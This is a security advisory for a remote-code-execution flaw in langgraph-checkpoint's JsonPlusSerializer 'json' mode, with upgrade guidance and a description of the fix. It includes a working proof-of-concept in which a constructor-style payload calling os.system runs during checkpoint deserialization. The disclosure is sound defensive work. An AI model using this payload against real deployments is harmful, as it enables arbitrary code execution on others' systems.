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PYSEC-2026-1527

LangGraph Checkpoint affected by RCE in "json" mode of JsonPlusSerializer

Quick fix

PYSEC-2026-1527 — langgraph-checkpoint: upgrade to the fixed version with the command below.

pip install --upgrade 'langgraph-checkpoint>=3.0.0'

Details

# Summary

Prior to `langgraph-checkpoint` version `3.0` , LangGraph’s `JsonPlusSerializer` (used as the default serialization protocol for all checkpointing) contains a remote code execution (RCE) vulnerability when deserializing payloads saved in the `"json"` serialization mode.

If an attacker can cause your application to persist a payload serialized in this mode, they may be able to also send malicious content that executes arbitrary Python code during deserialization.

Upgrading to version langgraph-checkpoint `3.0` patches this vulnerability by preventing deserialization of custom objects saved in this mode.

If you are deploying in `langgraph-api`, any version `0.5` or later is also free of this vulnerability.

# Details

**Affected file / component**

[jsonplus.py](https://github.com/langchain-ai/langgraph/blob/c5744f583b11745cd406f3059903e17bbcdcc8ac/libs/checkpoint/langgraph/checkpoint/serde/jsonplus.py)

By default, the serializer attempts to use `"msgpack"` for serialization. However, prior to version `3.0` of the checkpointer library, if illegal Unicode surrogate values caused serialization to fail, it would fall back to using the `"json"` mode.

When operating in this mode, the deserializer supports a constructor-style format (`lc == 2`, `type == "constructor"`) for custom objects to allow them to be reconstructed at load time. If an attacker is able to trigger this mode with a malicious payload, deserializing allow the attacker to execute arbitrary functions upon load.

---

# Who is affected

This issue affects all users of `langgraph-checkpoint` **versions earlier than 3.0** who:

1. Allow untrusted or user-supplied data to be persisted into checkpoints, and 2. Use the default serializer (or explicitly instantiate `JsonPlusSerializer`) that may fall back to `"json"` mode.

If your application only processes trusted data or does not allow untrusted checkpoint writes, the practical risk is reduced.

# Proof of Concept (PoC)

```python from langgraph.graph import StateGraph from typing import TypedDict from langgraph.checkpoint.sqlite import SqliteSaver

class State(TypedDict): foo: str attack: dict

def my_node(state: State): return {"foo": "oops i fetched a surrogate \ud800"}

with SqliteSaver.from_conn_string("foo.db") as saver: graph = ( StateGraph(State). add_node("my_node", my_node). add_edge("__start__", "my_node"). compile(checkpointer=saver) )

attack = { "lc": 2, "type": "constructor", "id": ["os", "system"], "kwargs": {"command": "echo pwnd you > /tmp/pwnd.txt"}, } malicious_payload = { "attack": attack, }

thread_id = "00000000-0000-0000-0000-000000000001" config = {"thread_id": thread_id} # Malicious payload is saved in the first call graph.invoke(malicious_payload, config=config)

# Malicious payload is deserialized and code is executed in the second call graph.invoke({"foo": "hi there"}, config=config)

```

Running this PoC writes a file `/tmp/pwnd.txt` to disk, demonstrating code execution.

Internally, this exploits the following code path:

```python from langgraph.checkpoint.serde.jsonplus import JsonPlusSerializer

serializer = JsonPlusSerializer() # Used within the checkpointer

serialized = serializer.dumps_typed(malicious_payload) serializer.loads_typed(serialized) # Executes os.system(...)

```

---

# Fixed Version

The vulnerability is fixed in **`langgraph-checkpoint==3.0.0`**

Release link: https://github.com/langchain-ai/langgraph/releases/tag/checkpoint%3D%3D3.0.0

---

# Fix Description

The fix introduces an **allow-list** for constructor deserialization, restricting permissible `"id"` paths to explicitly approved module/class combinations provided at serializer construction.

Additionally, saving payloads in `"json"` format has been deprecated to remove this unsafe fallback path.

---

# Mitigation

Upgrade immediately to `langgraph-checkpoint==3.0.0`.

This version is fully compatible with `langgraph>=0.3` and does **not** require any import changes or code modifications.

In `langgraph-api`, updating to `0.5` or later will automatically require the patched version of the checkpointer library.

Are you affected?

Enter the version of the package you're using.

Affected packages

PyPI/langgraph-checkpoint
Introduced in: 0Fixed in: 3.0.0
Fixpip install --upgrade 'langgraph-checkpoint>=3.0.0'

References